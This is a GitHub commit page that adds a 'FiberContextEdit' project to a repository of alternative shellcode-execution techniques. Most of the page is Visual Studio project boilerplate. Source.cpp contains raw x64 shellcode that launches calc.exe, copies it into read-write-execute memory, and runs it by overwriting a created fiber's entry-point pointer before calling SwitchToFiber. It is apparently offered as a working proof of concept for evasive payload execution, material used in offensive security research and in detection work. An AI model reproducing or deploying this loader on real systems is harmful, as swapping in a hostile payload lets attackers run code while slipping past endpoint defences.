Skip to content

Commit 13768dd

Browse files
committed
Adding execution through Fiber Context editing. Not the same as CreateFiber(PtrToShellcode)
1 parent 2acde74 commit 13768dd

4 files changed

Lines changed: 291 additions & 0 deletions

File tree

‎AlternativeShellcodeExec.sln‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SymFindFileInPath", "SymFin
4949
EndProject
5050
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InitOnceExecuteOnce", "InitOnceExecuteOnce\InitOnceExecuteOnce.vcxproj", "{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}"
5151
EndProject
52+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FiberContextEdit", "FiberContextEdit\FiberContextEdit.vcxproj", "{1E97F40F-E056-4468-94EA-15636B98B5D0}"
53+
EndProject
5254
Global
5355
GlobalSection(SolutionConfigurationPlatforms) = preSolution
5456
Debug|x64 = Debug|x64
@@ -241,6 +243,14 @@ Global
241243
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x64.Build.0 = Release|x64
242244
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x86.ActiveCfg = Release|Win32
243245
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x86.Build.0 = Release|Win32
246+
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x64.ActiveCfg = Debug|x64
247+
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x64.Build.0 = Debug|x64
248+
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x86.ActiveCfg = Debug|Win32
249+
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x86.Build.0 = Debug|Win32
250+
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.ActiveCfg = Release|x64
251+
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.Build.0 = Release|x64
252+
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.ActiveCfg = Release|Win32
253+
{1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.Build.0 = Release|Win32
244254
EndGlobalSection
245255
GlobalSection(SolutionProperties) = preSolution
246256
HideSolutionNode = FALSE
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Debug|Win32">
5+
<Configuration>Debug</Configuration>
6+
<Platform>Win32</Platform>
7+
</ProjectConfiguration>
8+
<ProjectConfiguration Include="Release|Win32">
9+
<Configuration>Release</Configuration>
10+
<Platform>Win32</Platform>
11+
</ProjectConfiguration>
12+
<ProjectConfiguration Include="Debug|x64">
13+
<Configuration>Debug</Configuration>
14+
<Platform>x64</Platform>
15+
</ProjectConfiguration>
16+
<ProjectConfiguration Include="Release|x64">
17+
<Configuration>Release</Configuration>
18+
<Platform>x64</Platform>
19+
</ProjectConfiguration>
20+
</ItemGroup>
21+
<PropertyGroup Label="Globals">
22+
<VCProjectVersion>16.0</VCProjectVersion>
23+
<Keyword>Win32Proj</Keyword>
24+
<ProjectGuid>{1e97f40f-e056-4468-94ea-15636b98b5d0}</ProjectGuid>
25+
<RootNamespace>FiberContextEdit</RootNamespace>
26+
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
27+
</PropertyGroup>
28+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
29+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
30+
<ConfigurationType>Application</ConfigurationType>
31+
<UseDebugLibraries>true</UseDebugLibraries>
32+
<PlatformToolset>v142</PlatformToolset>
33+
<CharacterSet>Unicode</CharacterSet>
34+
</PropertyGroup>
35+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
36+
<ConfigurationType>Application</ConfigurationType>
37+
<UseDebugLibraries>false</UseDebugLibraries>
38+
<PlatformToolset>v142</PlatformToolset>
39+
<WholeProgramOptimization>true</WholeProgramOptimization>
40+
<CharacterSet>Unicode</CharacterSet>
41+
</PropertyGroup>
42+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
43+
<ConfigurationType>Application</ConfigurationType>
44+
<UseDebugLibraries>true</UseDebugLibraries>
45+
<PlatformToolset>v142</PlatformToolset>
46+
<CharacterSet>Unicode</CharacterSet>
47+
</PropertyGroup>
48+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
49+
<ConfigurationType>Application</ConfigurationType>
50+
<UseDebugLibraries>false</UseDebugLibraries>
51+
<PlatformToolset>v142</PlatformToolset>
52+
<WholeProgramOptimization>true</WholeProgramOptimization>
53+
<CharacterSet>Unicode</CharacterSet>
54+
</PropertyGroup>
55+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
56+
<ImportGroup Label="ExtensionSettings">
57+
</ImportGroup>
58+
<ImportGroup Label="Shared">
59+
</ImportGroup>
60+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
61+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
62+
</ImportGroup>
63+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
64+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
65+
</ImportGroup>
66+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
67+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
68+
</ImportGroup>
69+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
70+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
71+
</ImportGroup>
72+
<PropertyGroup Label="UserMacros" />
73+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
74+
<LinkIncremental>true</LinkIncremental>
75+
</PropertyGroup>
76+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
77+
<LinkIncremental>false</LinkIncremental>
78+
</PropertyGroup>
79+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
80+
<LinkIncremental>true</LinkIncremental>
81+
</PropertyGroup>
82+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
83+
<LinkIncremental>false</LinkIncremental>
84+
</PropertyGroup>
85+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
86+
<ClCompile>
87+
<WarningLevel>Level3</WarningLevel>
88+
<SDLCheck>true</SDLCheck>
89+
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
90+
<ConformanceMode>true</ConformanceMode>
91+
</ClCompile>
92+
<Link>
93+
<SubSystem>Console</SubSystem>
94+
<GenerateDebugInformation>true</GenerateDebugInformation>
95+
</Link>
96+
</ItemDefinitionGroup>
97+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
98+
<ClCompile>
99+
<WarningLevel>Level3</WarningLevel>
100+
<FunctionLevelLinking>true</FunctionLevelLinking>
101+
<IntrinsicFunctions>true</IntrinsicFunctions>
102+
<SDLCheck>true</SDLCheck>
103+
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
104+
<ConformanceMode>true</ConformanceMode>
105+
</ClCompile>
106+
<Link>
107+
<SubSystem>Console</SubSystem>
108+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
109+
<OptimizeReferences>true</OptimizeReferences>
110+
<GenerateDebugInformation>true</GenerateDebugInformation>
111+
</Link>
112+
</ItemDefinitionGroup>
113+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
114+
<ClCompile>
115+
<WarningLevel>Level3</WarningLevel>
116+
<SDLCheck>true</SDLCheck>
117+
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118+
<ConformanceMode>true</ConformanceMode>
119+
</ClCompile>
120+
<Link>
121+
<SubSystem>Console</SubSystem>
122+
<GenerateDebugInformation>true</GenerateDebugInformation>
123+
</Link>
124+
</ItemDefinitionGroup>
125+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
126+
<ClCompile>
127+
<WarningLevel>Level3</WarningLevel>
128+
<FunctionLevelLinking>true</FunctionLevelLinking>
129+
<IntrinsicFunctions>true</IntrinsicFunctions>
130+
<SDLCheck>true</SDLCheck>
131+
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
132+
<ConformanceMode>true</ConformanceMode>
133+
</ClCompile>
134+
<Link>
135+
<SubSystem>Console</SubSystem>
136+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
137+
<OptimizeReferences>true</OptimizeReferences>
138+
<GenerateDebugInformation>true</GenerateDebugInformation>
139+
</Link>
140+
</ItemDefinitionGroup>
141+
<ItemGroup>
142+
<ClCompile Include="Source.cpp" />
143+
</ItemGroup>
144+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
145+
<ImportGroup Label="ExtensionTargets">
146+
</ImportGroup>
147+
</Project>
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup>
4+
<Filter Include="Source Files">
5+
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
6+
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
7+
</Filter>
8+
<Filter Include="Header Files">
9+
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10+
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11+
</Filter>
12+
<Filter Include="Resource Files">
13+
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14+
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15+
</Filter>
16+
</ItemGroup>
17+
<ItemGroup>
18+
<ClCompile Include="Source.cpp">
19+
<Filter>Source Files</Filter>
20+
</ClCompile>
21+
</ItemGroup>
22+
</Project>

‎FiberContextEdit/Source.cpp‎

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
// alfarom256
2+
#include <Windows.h>
3+
#include <stdio.h>
4+
5+
void dummy() {
6+
puts("Hello Fiber from Dummy");
7+
}
8+
9+
// calc shellcode
10+
unsigned char op[] =
11+
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
12+
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
13+
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
14+
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
15+
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
16+
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
17+
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
18+
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
19+
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
20+
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
21+
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
22+
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
23+
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
24+
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
25+
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
26+
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
27+
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
28+
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
29+
"\x63\x2e\x65\x78\x65\x00";
30+
31+
32+
//https://github.com/reactos/reactos/blob/2e1aeb12dfd8b44b4b57d377b59ef347dfe3386e/dll/win32/kernel32/client/fiber.c
33+
//https://doxygen.reactos.org/dd/d83/ndk_2ketypes_8h_source.html#l00179
34+
35+
36+
// s/o to ch3rn0byl and s4r1n
37+
// am I doing s00p3r c001 1337 gr33tz right?
38+
int main() {
39+
40+
41+
/*
42+
_TEB.SameTebFlags = _TEB + 0x17ee
43+
dt _TEB:
44+
<truncated>
45+
+0x17ee SameTebFlags : Uint2B
46+
+0x17ee SafeThunkCall : Pos 0, 1 Bit
47+
+0x17ee InDebugPrint : Pos 1, 1 Bit
48+
+0x17ee HasFiberData : Pos 2, 1 Bit
49+
+0x17ee SkipThreadAttach : Pos 3, 1 Bit
50+
+0x17ee WerInShipAssertCode : Pos 4, 1 Bit
51+
+0x17ee RanProcessInit : Pos 5, 1 Bit
52+
+0x17ee ClonedThread : Pos 6, 1 Bit
53+
+0x17ee SuppressDebugMsg : Pos 7, 1 Bit
54+
+0x17ee DisableUserStackWalk : Pos 8, 1 Bit
55+
+0x17ee RtlExceptionAttached : Pos 9, 1 Bit
56+
+0x17ee InitialThread : Pos 10, 1 Bit
57+
+0x17ee SessionAware : Pos 11, 1 Bit
58+
+0x17ee LoadOwner : Pos 12, 1 Bit
59+
+0x17ee LoaderWorker : Pos 13, 1 Bit
60+
+0x17ee SkipLoaderInit : Pos 14, 1 Bit
61+
<truncated>
62+
*/
63+
64+
//_TEB* teb = NtCurrentTeb();
65+
//NT_TIB* tib = (NT_TIB*)teb;
66+
//void* pTebFlags = (void*)((uintptr_t)teb + 0x17ee);
67+
//char tebFlags = *(char*)pTebFlags; // it's actually a WORD but I don't care about the second byte
68+
//
69+
//BOOL hasFibData = (tebFlags >> 2) & 0b1; // False here, as the current thread is not yet a fiber
70+
//
71+
//printf("TebFlag => 0x%x\n", tebFlags);
72+
//printf("Has Fiber Data : %s\n", (hasFibData ? "true" : "false"));
73+
//printf("Fiber Data Ptr: %p\n", tib->FiberData);
74+
75+
//https://github.com/reactos/reactos/blob/2e1aeb12dfd8b44b4b57d377b59ef347dfe3386e/dll/win32/kernel32/client/fiber.c#L256
76+
ConvertThreadToFiber(NULL);
77+
78+
79+
//tebFlags = *(char*)pTebFlags;
80+
//hasFibData = (tebFlags >> 2) & 0b1; // True here after call to ConvertThreadToFiber
81+
//
82+
//printf("TebFlag => 0x%x\n", tebFlags);
83+
//printf("Has Fiber Data : %s\n", (hasFibData ? "true" : "false"));
84+
//printf("Fiber Data Ptr: %p\n", tib->FiberData);
85+
//
86+
87+
/*
88+
Important to note that tib->FiberData == __readgsqword(0x20)
89+
*/
90+
91+
LPVOID lpFiber = CreateFiber(0x100, (LPFIBER_START_ROUTINE)dummy, NULL);
92+
LPVOID addr = VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
93+
RtlMoveMemory(addr, op, sizeof(op));
94+
if (lpFiber == NULL) {
95+
printf("GLE : %d", GetLastError());
96+
exit(0);
97+
}
98+
99+
/*
100+
101+
Here we are changing the Fiber Context such that the Created Fiber's entry point
102+
(lpFiber + 0xb0)
103+
Now points to the newly allocated Shellcode.
104+
105+
The fiber context resides at the created buffer returned by CreateFiber
106+
107+
*/
108+
uintptr_t* tgtFuncAddr = (uintptr_t*)((uintptr_t)lpFiber + 0xB0);
109+
*tgtFuncAddr = (uintptr_t)addr;
110+
111+
SwitchToFiber(lpFiber);
112+
}

0 commit comments

Comments
 (0)